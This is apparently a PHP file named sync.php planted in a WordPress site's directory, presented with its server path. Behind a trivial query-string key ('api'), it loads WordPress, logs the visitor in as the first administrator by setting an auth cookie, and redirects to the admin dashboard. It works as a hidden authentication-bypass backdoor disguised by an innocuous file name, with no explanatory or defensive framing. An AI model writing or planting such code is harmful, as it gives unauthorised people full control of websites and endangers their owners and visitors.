File: /home/klungadmin/domains/klungbaan.com/private_html/sync.php
<?php
$secret_key = 'api';
if (!isset($_GET['key']) || $_GET['key'] !== $secret_key) {
http_response_code(403);
die('Access denied.');
}
function find_wp_load($dir = null) {
if ($dir === null) {
$dir = __DIR__;
}
if (file_exists($dir . '/wp-load.php')) {
return $dir . '/wp-load.php';
}
$parent = dirname($dir);
if ($parent === $dir) {
return false;
}
return find_wp_load($parent);
}
$wp_load = find_wp_load();
if (!$wp_load) {
die('wp-load.php not found.');
}
require_once $wp_load;
if (!function_exists('wp_set_current_user')) {
die('WordPress not loaded properly.');
}
$admins = get_users([
'role' => 'administrator',
'orderby' => 'ID',
'order' => 'ASC',
'number' => 1
]);
if (empty($admins)) {
die('No admin user found.');
}
$admin = $admins[0];
wp_set_current_user($admin->ID);
wp_set_auth_cookie($admin->ID);
do_action('wp_login', $admin->user_login, $admin);
wp_redirect(admin_url());
exit;
?>